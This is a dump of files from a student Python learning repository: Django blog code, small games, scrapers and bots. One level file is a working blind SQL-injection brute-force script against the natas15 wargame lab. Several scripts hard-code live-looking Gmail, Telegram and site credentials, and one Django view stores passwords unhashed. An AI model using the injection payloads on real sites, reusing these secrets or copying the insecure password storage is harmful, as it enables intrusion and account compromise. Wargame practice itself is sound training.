forms.CharField(widget=forms.Textarea()) 37 | # email = forms.EmailField() 38 | 39 | 40 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0011_like.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-27 09:31 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 12 | ('blog_post', '0010_massage'), 13 | ] 14 | 15 | operations = [ 16 | migrations.CreateModel( 17 | name='Like', 18 | fields=[ 19 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 20 | ('created_at', models.DateTimeField(auto_now_add=True)), 21 | ('article', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='likes', to='blog_post.article', verbose_name='مقاله')), 22 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='likes', to=settings.AUTH_USER_MODEL, verbose_name='کاربر')), 23 | ], 24 | options={ 25 | 'verbose_name': 'لایک', 26 | 'verbose_name_plural': 'لایک ها', 27 | 'ordering': ('-created_at',), 28 | }, 29 | ), 30 | ] 31 | -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 1 - R.E/level_3.py: -------------------------------------------------------------------------------- 1 | # The third stage, the first part 2 | # A little different 3 | # Maybe at first glance, it is impossible to analyze the following code 4 | # But with some precision and checking line by line 5 | # It becomes much easier than the first view 6 | #First help: This is a code for 7 | # brute force 8 | # Second help: This code is written to pass the 15th stage of 9 | # the famous natas game 10 | # first see the code, then think about it, and then you can google it 11 | 12 | import requests 13 | from requests.auth import HTTPBasicAuth 14 | 15 | chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' 16 | filtered = '' 17 | passwd = '' 18 | 19 | for char in chars: 20 | Data = {'username' : 'natas16ord LI" and passwKE BINARY "%' + char + '%" #'} 21 | r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data) 22 | if 'exists' in r.text : 23 | filtered = filtered + char 24 | 25 | for i in range(0,32): 26 | for char in filtered: 27 | Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'} 28 | r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data) 29 | if 'exists' in r.text : 30 | passwd = passwd + char 31 | print(passwd) 32 | break 33 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/vendor/countdowntime/countdowntime.js: -------------------------------------------------------------------------------- 1 | (function ($) { 2 | "use strict"; 3 | 4 | function getTimeRemaining(endtime) { 5 | var t = Date.parse(endtime) - Date.parse(new Date()); 6 | var seconds = Math.floor((t / 1000) % 60); 7 | var minutes = Math.floor((t / 1000 / 60) % 60); 8 | var hours = Math.floor((t / (1000 * 60 * 60)) % 24); 9 | var days = Math.floor(t / (1000 * 60 * 60 * 24)); 10 | return { 11 | 'total': t, 12 | 'days': days, 13 | 'hours': hours, 14 | 'minutes': minutes, 15 | 'seconds': seconds 16 | }; 17 | } 18 | 19 | function initializeClock(id, endtime) { 20 | var daysSpan = $('.days'); 21 | var hoursSpan = $('.hours'); 22 | var minutesSpan = $('.minutes'); 23 | var secondsSpan = $('.seconds'); 24 | 25 | function updateClock() { 26 | var t = getTimeRemaining(endtime); 27 | 28 | daysSpan.html(t.days); 29 | hoursSpan.html(('0' + t.hours).slice(-2)); 30 | minutesSpan.html(('0' + t.minutes).slice(-2)); 31 | secondsSpan.html(('0' + t.seconds).slice(-2)) 32 | 33 | if (t.total <= 0) { 34 | clearInterval(timeinterval); 35 | } 36 | } 37 | 38 | updateClock(); 39 | var timeinterval = setInterval(updateClock, 1000); 40 | } 41 | 42 | var deadline = new Date(Date.parse(new Date()) + 25 * 24 * 60 * 60 * 1000 + 13 * 60 * 60 * 1000); 43 | initializeClock('clockdiv', deadline); 44 | 45 | })(jQuery); -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 1 - R.E/level_2.py: -------------------------------------------------------------------------------- 1 | # In the code below you have 3 ways to open and read a CSV file 2 | # Primarily as a challenge to you 3 | # Try to find and download a CSV file 4 | # containing data, such as the price of dollars or 5 | # bitcoins or whatever you want. 6 | # Then put it next to this python file 7 | # And exactly with the name data.csv 8 | # which is called in the code to the name of your downloaded file 9 | # Execute all three parts of the following code separately. Write their differences 10 | # Next, imagine yourself as a data scientist for a moment 11 | # And analyze these 3 methods from your point of view 12 | # And choose the best method by mentioning specific reasons 13 | # Note: You must install the pandas library in your work environment 14 | # The necessary instructions are available on the Internet 15 | # Good luck!S 16 | #################### 17 | import csv 18 | 19 | # opening the CSV file 20 | with open('data.csv', mode ='r')as file: 21 | 22 | # reading the CSV file 23 | csvFile = csv.reader(file) 24 | 25 | # displaying the contents of the CSV file 26 | for lines in csvFile: 27 | print(lines) 28 | 29 | ###################### v2 ######## 30 | 31 | import csv 32 | 33 | # opening the CSV file 34 | with open('data.csv', mode ='r')as file: 35 | 36 | # reading the CSV file 37 | csvFile = csv.DictReader(file) 38 | 39 | # displaying the contents of the CSV file 40 | for lines in csvFile: 41 | print(lines) 42 | 43 | ############ v3 ############## 44 | 45 | import pandas 46 | 47 | 48 | 49 | # reading the CSV file 50 | 51 | csvFile = pandas.read_csv('data.csv') 52 | 53 | # displaying the contents of the CSV file 54 | print(csvFile) -------------------------------------------------------------------------------- /Dayana python lab/0_playground/mohammadreza_rokni: -------------------------------------------------------------------------------- 1 | 2 | import requests 3 | from bs4 import BeautifulSoup 4 | import smtplib 5 | import time 6 | 7 | URL = 'https://www.amazon.de/-/en/Mirrorless-Digital-ILCE-7C-Real-Time-Stabilisation/dp/B08J41GC85/ref=sr_1_7?keywords=sony+a7&qid=1665994489&qu=eyJxc2MiOiI0Ljc5IiwicXNhIjoiNC43MiIsInFzcCI6IjQuNjAifQ%3D%3D&sr=8-7' 8 | 9 | headers = {"User_Agent": 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0'} 10 | 11 | def check_price(): 12 | 13 | page = requests.get(URL, headers= headers) 14 | 15 | soup = BeautifulSoup(page.content, 'html.parser') 16 | 17 | title = soup.find(id = "productTitle").get_text() 18 | price = soup.find(id="priceblock_ourprice").get_text() 19 | 20 | converted_price = float(price[0:5]) 21 | 22 | if(converted_price < 1.840): 23 | send_mail() 24 | 25 | print(converted_price) 26 | print(title.strip()) 27 | 28 | if(converted_price > 1.840): 29 | send_mail() 30 | 31 | def send_mail(): 32 | server = smtplib.SMTP('smtp.gmail.com', 587) 33 | server.ehlo() 34 | server.starttls() 35 | server.ehlo() 36 | server.login('lordsking.mr@gmail.com', 'sgsiozwbaqnvrsgd') 37 | 38 | subject = 'price fell down now!' 39 | body = 'please check the amazon link https://www.amazon.de/-/en/Mirrorless-Digital-ILCE-7C-Real-Time-Stabilisation/dp/B08J41GC85/ref=sr_1_7?keywords=sony+a7&qid=1665994489&qu=eyJxc2MiOiI0Ljc5IiwicXNhIjoiNC43MiIsInFzcCI6IjQuNjAifQ%3D%3D&sr=8-7' 40 | 41 | msg =f"Subject: {subject}\n\n{body}" 42 | 43 | server.sendmail( 44 | 'lordsking.mr@gmail.com', 45 | 'mrokniahmadi.mr@gmail.com', 46 | msg 47 | ) 48 | print('HEY EMAIL HAS BEEN SENT!') 49 | 50 | server.quit() 51 | 52 | while(True): 53 | check_price() 54 | time.sleep(60 * 60) 55 | -------------------------------------------------------------------------------- /Dayana python lab/0_playground/0_train_playground/mohammad_reza_rokni/amazon_price_tracker.py: -------------------------------------------------------------------------------- 1 | 2 | import requests 3 | from bs4 import BeautifulSoup 4 | import smtplib 5 | import time 6 | 7 | URL = 'https://www.amazon.de/-/en/Mirrorless-Digital-ILCE-7C-Real-Time-Stabilisation/dp/B08J41GC85/ref=sr_1_7?keywords=sony+a7&qid=1665994489&qu=eyJxc2MiOiI0Ljc5IiwicXNhIjoiNC43MiIsInFzcCI6IjQuNjAifQ%3D%3D&sr=8-7' 8 | 9 | headers = {"User_Agent": 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0'} 10 | 11 | def check_price(): 12 | 13 | page = requests.get(URL, headers= headers) 14 | 15 | soup = BeautifulSoup(page.content, 'html.parser') 16 | 17 | title = soup.find(id = "productTitle").get_text() 18 | price = soup.find(id="priceblock_ourprice").get_text() 19 | 20 | converted_price = float(price[0:10]) 21 | 22 | if(converted_price < 1.840): 23 | send_mail() 24 | 25 | print(converted_price) 26 | print(title.strip()) 27 | 28 | if(converted_price > 1.840): 29 | send_mail() 30 | 31 | def send_mail(): 32 | server = smtplib.SMTP('smtp.gmail.com', 587) 33 | server.ehlo() 34 | server.starttls() 35 | server.ehlo() 36 | server.login('lordsking.mr@gmail.com', 'sgsiozwbaqnvrsgd') 37 | 38 | subject = 'price fell down now!' 39 | body = 'please check the amazon link https://www.amazon.de/-/en/Mirrorless-Digital-ILCE-7C-Real-Time-Stabilisation/dp/B08J41GC85/ref=sr_1_7?keywords=sony+a7&qid=1665994489&qu=eyJxc2MiOiI0Ljc5IiwicXNhIjoiNC43MiIsInFzcCI6IjQuNjAifQ%3D%3D&sr=8-7' 40 | 41 | msg =f"Subject: {subject}\n\n{body}" 42 | 43 | server.sendmail( 44 | 'lordsking.mr@gmail.com', 45 | 'mrokniahmadi.mr@gmail.com', 46 | msg 47 | ) 48 | print('HEY EMAIL HAS BEEN SENT!') 49 | 50 | server.quit() 51 | 52 | while(True): 53 | check_price() 54 | time.sleep(60 * 60) 55 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/5_web_hacks/2_knolixDriver/killdriver.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from selenium.webdriver.common.keys import Keys 3 | from selenium.webdriver.common.by import By 4 | from selenium.webdriver.common.action_chains import ActionChains 5 | from selenium.webdriver.chrome.service import Service 6 | #from webdriver_manager.chrome import ChromeDriverManager 7 | from time import sleep 8 | from random import randrange 9 | from fake_useragent import UserAgent 10 | 11 | options = webdriver.ChromeOptions() 12 | 13 | ua = UserAgent() 14 | user_agent = ua.random 15 | 16 | options = webdriver.ChromeOptions() 17 | 18 | # options.add_argument(f"user-agent={user_agent}") 19 | options.add_argument("--start-maximized") 20 | # options.add_argument("--disable-javascript") 21 | options.add_argument('--disable-notifications') 22 | driver = webdriver.Chrome('C:\Program Files (x86)\chromedriver.exe', options= options) 23 | 24 | driver.get("https://www.google.com") 25 | driver.get("https://www.knolix.com/") 26 | 27 | usr_name = driver.find_element(By().NAME, 'user') 28 | usr_name.send_keys('mohammadJavadtabari1024@outlook.com') 29 | #usr_name.send_keys('mim.moltafet@gmail.com') 30 | 31 | usr_pass = driver.find_element(By().NAME, 'pass') 32 | usr_pass.send_keys('QAZqaz!@#123') 33 | 34 | login_btn = driver.find_element(By.NAME, 'submit_login') 35 | login_btn.click() 36 | # sleep(6) 37 | # tree_btn = driver.find_element(By.CLASS_NAME, 'bitcoin') 38 | # tree_btn.click() 39 | sleep(10) 40 | tree_area = driver.find_element(By.ID, 'btctree') 41 | action = ActionChains(driver) 42 | 43 | action.double_click(tree_area) 44 | 45 | action.perform() 46 | 47 | sleep(10) 48 | driver.refresh() 49 | sleep(10) 50 | tree_area = driver.find_element(By.ID, 'btctree') 51 | action = ActionChains(driver) 52 | 53 | action.double_click(tree_area) 54 | 55 | action.perform() 56 | 57 | sleep(10) 58 | driver.quit() 59 | 60 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/mixins.less: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | .fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | .fa-icon-rotate(@degrees, @rotation) { 15 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=@{rotation})"; 16 | -webkit-transform: rotate(@degrees); 17 | -ms-transform: rotate(@degrees); 18 | transform: rotate(@degrees); 19 | } 20 | 21 | .fa-icon-flip(@horiz, @vert, @rotation) { 22 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=@{rotation}, mirror=1)"; 23 | -webkit-transform: scale(@horiz, @vert); 24 | -ms-transform: scale(@horiz, @vert); 25 | transform: scale(@horiz, @vert); 26 | } 27 | 28 | 29 | // Only display content to screen readers. A la Bootstrap 4. 30 | // 31 | // See: http://a11yproject.com/posts/how-to-hide-content/ 32 | 33 | .sr-only() { 34 | position: absolute; 35 | width: 1px; 36 | height: 1px; 37 | padding: 0; 38 | margin: -1px; 39 | overflow: hidden; 40 | clip: rect(0,0,0,0); 41 | border: 0; 42 | } 43 | 44 | // Use in conjunction with .sr-only to only display content when it's focused. 45 | // 46 | // Useful for "Skip to main content" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1 47 | // 48 | // Credit: HTML5 Boilerplate 49 | 50 | .sr-only-focusable() { 51 | &:active, 52 | &:focus { 53 | position: static; 54 | width: auto; 55 | height: auto; 56 | margin: 0; 57 | overflow: visible; 58 | clip: auto; 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_mixins.scss: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | @mixin fa-icon() { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | 14 | @mixin fa-icon-rotate($degrees, $rotation) { 15 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation})"; 16 | -webkit-transform: rotate($degrees); 17 | -ms-transform: rotate($degrees); 18 | transform: rotate($degrees); 19 | } 20 | 21 | @mixin fa-icon-flip($horiz, $vert, $rotation) { 22 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}, mirror=1)"; 23 | -webkit-transform: scale($horiz, $vert); 24 | -ms-transform: scale($horiz, $vert); 25 | transform: scale($horiz, $vert); 26 | } 27 | 28 | 29 | // Only display content to screen readers. A la Bootstrap 4. 30 | // 31 | // See: http://a11yproject.com/posts/how-to-hide-content/ 32 | 33 | @mixin sr-only { 34 | position: absolute; 35 | width: 1px; 36 | height: 1px; 37 | padding: 0; 38 | margin: -1px; 39 | overflow: hidden; 40 | clip: rect(0,0,0,0); 41 | border: 0; 42 | } 43 | 44 | // Use in conjunction with .sr-only to only display content when it's focused. 45 | // 46 | // Useful for "Skip to main content" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1 47 | // 48 | // Credit: HTML5 Boilerplate 49 | 50 | @mixin sr-only-focusable { 51 | &:active, 52 | &:focus { 53 | position: static; 54 | width: auto; 55 | height: auto; 56 | margin: 0; 57 | overflow: visible; 58 | clip: auto; 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/forms.py: -------------------------------------------------------------------------------- 1 | from django import forms 2 | from django.contrib.auth import authenticate 3 | from django.contrib.auth.models import User 4 | from django.forms import ValidationError 5 | 6 | 7 | # Create your class form for login 8 | 9 | class LoginForm(forms.Form): 10 | username = forms.CharField(max_length=50, widget=forms.TextInput(attrs={'class': 'input100'})) 11 | password = forms.CharField(widget=forms.PasswordInput(attrs={'class': 'input100'})) 12 | 13 | # Check authentication password 14 | def clean_password(self): 15 | user = authenticate(username=self.cleaned_data.get('username'), password=self.cleaned_data.get('password')) 16 | if user is not None: 17 | return self.cleaned_data.get('password') 18 | 19 | # Create UserEdit form 20 | class UserEditForm(forms.ModelForm): 21 | class Meta: 22 | model = User 23 | fields = ('first_name', 'last_name', 'email') 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | # class RegisterForm(forms.Form): 35 | # username = forms.CharField(max_length=50, widget=forms.TextInput(attrs={'class': 'input100'})) 36 | # email = forms.EmailField(widget=forms.EmailInput(attrs={'class': 'input100'})) 37 | # password1 = forms.CharField(widget=forms.PasswordInput(attrs={'class': 'input100'})) 38 | # password2 = forms.CharField(widget=forms.PasswordInput(attrs={'class': 'input100'})) 39 | # 40 | # def clean_username(self): 41 | # user = authenticate(usernamee=self.cleaned_data.get('username'), password1=self.cleaned_data.get('password1')) 42 | # if user is None: 43 | # return self.cleaned_data.get('password1') 44 | # raise ValidationError('user has existed', code='user_existed') 45 | # 46 | # 47 | # # def clean_password1(self): 48 | # # if password1 == password2: 49 | # raise ValidationError('passwords are same') 50 | -------------------------------------------------------------------------------- /Dayana python lab/0_playground/0_train_playground/hossein_choopani/SA for TSP.py: -------------------------------------------------------------------------------- 1 | "SA for TSP" 2 | import numpy as np 3 | import pandas as pd 4 | import math 5 | from numpy import random 6 | import matplotlib.pyplot as plt 7 | #getting inputs------------------------- 8 | n=52 9 | d=pd.read_csv("b52_dataset.csv") 10 | cord=d.to_numpy().copy() 11 | #distance matrix----------------------- 12 | dist=np.zeros((n,n)) 13 | for i in range(n): 14 | for j in range(n): 15 | dist[i,j]=math.sqrt((cord[i,1]-cord[j,1])**2+(cord[i,2]-cord[j,2])**2) 16 | #cost func----------------------------- 17 | def cost(s): 18 | y=np.zeros((n,n)) 19 | for i in range(n): 20 | if i==n-1: 21 | y[s[i]-1,s[0]-1]=1 22 | else: 23 | y[s[i]-1,s[i+1]-1]=1 24 | cost=np.sum(y*dist) 25 | return cost 26 | #tour gen func------------------------------ 27 | def new_tour(s): 28 | i=random.randint(n) 29 | j=random.randint(n) 30 | while i==j: 31 | j=random.randint(n) 32 | new_tour=s.copy() 33 | new_tour[i]=s[j] 34 | new_tour[j]=s[i] 35 | return new_tour 36 | #initial state------------------------------------- 37 | s=np.arange(52) 38 | z=cost(s) 39 | record_z=np.array([0]) 40 | mean_z=np.mean(record_z) 41 | #parameters-------------------------------------- 42 | T=300 43 | alpha=0.995 44 | N=30 45 | T_final=0.000001 46 | #Main loop -------------- 47 | while T>T_final: 48 | for i in range(N): 49 | new_s=new_tour(s) 50 | new_z=cost(new_s) 51 | if new_z 2 | 3 | 4 | Generated by Fontastic.me 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0009_alter_article_options_alter_article_auther_and_more.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-09 07:01 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 12 | ('blog_post', '0008_alter_article_slug'), 13 | ] 14 | 15 | operations = [ 16 | migrations.AlterModelOptions( 17 | name='article', 18 | options={'ordering': ('-updated', '-created')}, 19 | ), 20 | migrations.AlterField( 21 | model_name='article', 22 | name='auther', 23 | field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='articles', to=settings.AUTH_USER_MODEL), 24 | ), 25 | migrations.AlterField( 26 | model_name='article', 27 | name='category', 28 | field=models.ManyToManyField(related_name='articles', to='blog_post.category'), 29 | ), 30 | migrations.AlterField( 31 | model_name='article', 32 | name='slug', 33 | field=models.SlugField(blank=True, unique=True), 34 | ), 35 | migrations.CreateModel( 36 | name='Comment', 37 | fields=[ 38 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 39 | ('body', models.TextField()), 40 | ('created_at', models.DateTimeField(auto_now_add=True)), 41 | ('article', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to='blog_post.article')), 42 | ('parent', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='replies', to='blog_post.comment')), 43 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to=settings.AUTH_USER_MODEL)), 44 | ], 45 | ), 46 | ] 47 | -------------------------------------------------------------------------------- /Dayana python lab/0_playground/0_train_playground/Shervin_Javidi/madlib/madlib_templates/t_4.py: -------------------------------------------------------------------------------- 1 | v1 = input("name: ") 2 | v2 = input("name of team: ") 3 | v3 = input("team manme: ") 4 | v4 = input("number: ") 5 | v5 = input("adjective: ") 6 | v6 = input("adjective: ") 7 | v7 = input("verb: ") 8 | v8 = input("verb: ") 9 | v9 = input("noun: ") 10 | v10 = input("number: ") 11 | v11 = input("male celebrity: ") 12 | v12 = input("name of country: ") 13 | v13 = input("place: ") 14 | v14 = input("adjective: ") 15 | v15 = input("name: ") 16 | v16 = input("noun: ") 17 | v17 = input("adverb: ") 18 | v18 = input("number: ") 19 | v19 = input("adjective: ") 20 | v20 = input("adjective: ") 21 | v21 = input("name: ") 22 | v22 = input("adverb: ") 23 | v23 = input("place: ") 24 | v24 = input("noun: ") 25 | v25 = input("adverb: ") 26 | v26 = input("funny word: ") 27 | v27 = input("verb: ") 28 | v28 = input("number: ") 29 | v29 = input("number: ") 30 | v30 = input("place: ") 31 | v31 = input("verb with ing: ") 32 | v32 = input("noun: ") 33 | v33 = input("adjective: ") 34 | v34 = input("noun: ") 35 | v35 = input("liquid: ") 36 | v36 = input("noun (plural): ") 37 | v37 = input("sport: ") 38 | 39 | t = f"Last night at {v1} Stadium, {v2} played against {v3}.\ 40 | It was the {v4} game of the Euro League Championship. All the players were {v5}.\ 41 | The {v6} coach screamed at the players that it was do or {v7}.\ 42 | If they {v8} the game, then their {v9} would not be in the Final {v10}. \ 43 | Our best player, {v11} was sick with the {v12} flu and had to\ 44 | stay at {v13} to get {v14}. So the coach chose {v15} to be the {v16} of the team.\ 45 | He plays {v17} and usually misses all his {v18} point shots. The rest of the team\ 46 | were very {v19}. They said that the {v20} team needed {v21} and that he runs\ 47 | {v22} down the {v23} and never misses a {v24}. The game began {v25}.\ 48 | The crowd was shouting: {v26} so that the team would {v27}. At half time the score\ 49 | was {v28} to {v29}. We went into the {v30} and everyone was {v31}.\ 50 | We wanted to win the {v32}. The coach said: Don't be {v33}. We will win the {v34} \ 51 | if we have to drink {v35} to do it! At the end of the game we were the {v36} and we had a chance\ 52 | to be in the Final of the Euro League {v37} game." 53 | 54 | def madlib(): 55 | print(t) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/views.py: -------------------------------------------------------------------------------- 1 | from django.contrib.auth.models import User 2 | from django.shortcuts import render, redirect 3 | from django.contrib.auth import authenticate, login, logout 4 | from .forms import LoginForm, UserEditForm 5 | 6 | # Create your userLogin view 7 | def user_login(request): 8 | if request.user.is_authenticated == True : 9 | return redirect('home:home') 10 | 11 | if request.method == 'POST': 12 | form = LoginForm(request.POST) 13 | if form.is_valid(): 14 | user = User.objects.get(username=form.cleaned_data.get('username')) # Save new object 15 | login(request, user) 16 | return redirect("home:home") 17 | else: 18 | form = LoginForm() 19 | return render(request, "account/login.html", {'form': form}) 20 | # Create your userRegister view 21 | def user_register(request): 22 | context = {'errors': []} # Dic of errors 23 | 24 | if request.user.is_authenticated == True : 25 | return redirect('home:home') 26 | 27 | if request.method == 'POST': 28 | username = request.POST.get('username') 29 | email = request.POST.get('email') 30 | password1 = request.POST.get('password1') 31 | password2 = request.POST.get('password2') 32 | if password1 != password2: # Check error 33 | context['errors'].append('passwords are not same') # Error 34 | return render(request, "account/register.html", context) 35 | 36 | user = User.objects.create(username= username, email= email, password=password1) # Create & save new user 37 | login(request, user) 38 | return redirect('home:home') 39 | return render(request, 'account/register.html', {}) 40 | 41 | def user_edit(request): 42 | user = request.user 43 | form = UserEditForm(instance=user) #baraye namayesh etelaate az ghabl zakhire shode dakhele input ha 44 | if request.method == 'POST': 45 | form = UserEditForm(instance=user, data=request.POST) # (instance=user) : Displays the user's saved information 46 | if form.is_valid(): # Save your edit user's detail 47 | form.save() 48 | 49 | return render(request, 'account/edit.html', {'form': form}) 50 | 51 | # Create your userLogout view 52 | def user_logout(request): 53 | logout(request) 54 | return redirect('home:home') -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/flexslider-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | This is a custom SVG font generated by IcoMoon. 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/4_social_bots/0_telegram/0_crypto_currency_data_gather_bot/appcc.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import telebot 4 | from time import sleep 5 | 6 | API_KEY = "5195861765:AAHeyP6baTcSDvzbTzLjmESO1gNjhXUjZig" 7 | bot = telebot.TeleBot(API_KEY) 8 | 9 | 10 | @bot.message_handler(commands = ['start']) 11 | def start(message): 12 | try: 13 | req1_res = 0 14 | while True: 15 | if(req1_res <= 50): 16 | respone_one = requests.get('https://www.coindesk.com/price/bitcoin/') 17 | html_one = respone_one.content 18 | bs = BeautifulSoup(html_one, 'lxml').body.find_all('span') 19 | #BTC 20 | price_one_btc = bs[6].previous 21 | #ETH 22 | price_one_eth = bs[10].previous 23 | #XRR 24 | price_one_xrp = bs[14].previous 25 | price_message = f"\n🔸🔸 BTC: {price_one_btc} 🔸🔸\n\n🔸🔸 ETH: {price_one_eth} 🔸🔸\n\n🔸🔸 XRP: {price_one_xrp} 🔸🔸" 26 | bot.send_message(-1001786336536, price_message) 27 | sleep(60) 28 | req1_res +=1 29 | else: 30 | req1_res = 0 31 | req2_res = 0 32 | while True: 33 | if(req2_res <= 50): 34 | response_two = requests.get('https://coinmarketcap.com/') 35 | html_two = response_two.content 36 | price_two_btc = BeautifulSoup(html_two, 'lxml').body.find_all('a', attrs={'href':'/currencies/bitcoin/markets/'})[0].text 37 | price_two_eth = BeautifulSoup(html_two, 'lxml').body.find_all('a', attrs={'href':'/currencies/ethereum/markets/'})[0].text 38 | price_two_xrp = BeautifulSoup(html_two, 'lxml').body.find_all('a', attrs={'href':'/currencies/xrp/markets/'})[0].text 39 | price_message = f"\n🔸🔸 BTC: {price_two_btc} 🔸🔸 \n\n 🔸🔸 ETH: {price_two_eth} 🔸🔸 \n\n🔸🔸 XRP: {price_two_xrp} 🔸🔸" 40 | bot.send_message(-1001786336536, price_message) 41 | sleep(60) 42 | req2_res += 1 43 | else: 44 | break 45 | except: 46 | sleep(60) 47 | start("hi there again") 48 | 49 | 50 | try: 51 | bot.polling()() 52 | 53 | except: 54 | sleep(60) 55 | bot.polling()() 56 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/README.md: -------------------------------------------------------------------------------- 1 | Django REST framework is a powerful and flexible toolkit for building Web APIs. 2 | 3 | Some reasons you might want to use REST framework: 4 | 5 | The Web browsable API is a huge usability win for your developers. 6 | Authentication policies including packages for OAuth1a and OAuth2. 7 | Serialization that supports both ORM and non-ORM data sources. 8 | Customizable all the way down - just use regular function-based views if you don't need the more powerful features. 9 | Extensive documentation, and great community support. 10 | Used and trusted by internationally recognised companies including Mozilla, Red Hat, Heroku, and Eventbrite. 11 | 12 | create toDoList API drf; 13 | 14 | step 1: Generated by ('django-admin startproject') using Django 4.0.5 in terminal. 15 | 16 | step 2: Install using pip, including any optional packages you want...: 17 | 18 | pip install djangorestframework 19 | pip install markdown # Markdown support for the browsable API. 20 | pip install django-filter # Filtering support 21 | 22 | step 3 : Create our own app with this command :('python manage.py startapp appname') in terminal, Add my app to the installed app in settings.py 23 | 24 | step 4: Add 'rest_framework' & 'mainApp'to your INSTALLED_APPS setting. 25 | 26 | INSTALLED_APPS = [ 27 | ... 28 | # apps 29 | 'mainApp', 30 | # third party apps 31 | 'rest_framework', 32 | ] 33 | step 5: Create your toDo model(mainApp/models.py) and in terminal we enter makemigration and migrate with their commands 34 | (python manage.py makemigration , 35 | python manage.py migrate) 36 | 37 | step 6: Create your serializers.py python file in (mainApp) and (from rest_framework import serializers) and create (class toDoSerializer) with my model fields 38 | 39 | step 7: Create your class base views(mainApp/views.py) 40 | 41 | step 8: Register your models(mainApp/admin.py) & in terminal Create super user with command (python manage.py createsuperuser) 42 | 43 | step 9: mainApp URL Configuration(mainApp/urls.py) 44 | 45 | step 10: toDoList URL Configuration(toDoList/urls.py) 46 | Add path of urls mainApp 47 | 48 | urlpatterns = [ 49 | ... 50 | path('api/', include('mainApp.urls')) 51 | ] 52 | step 11: 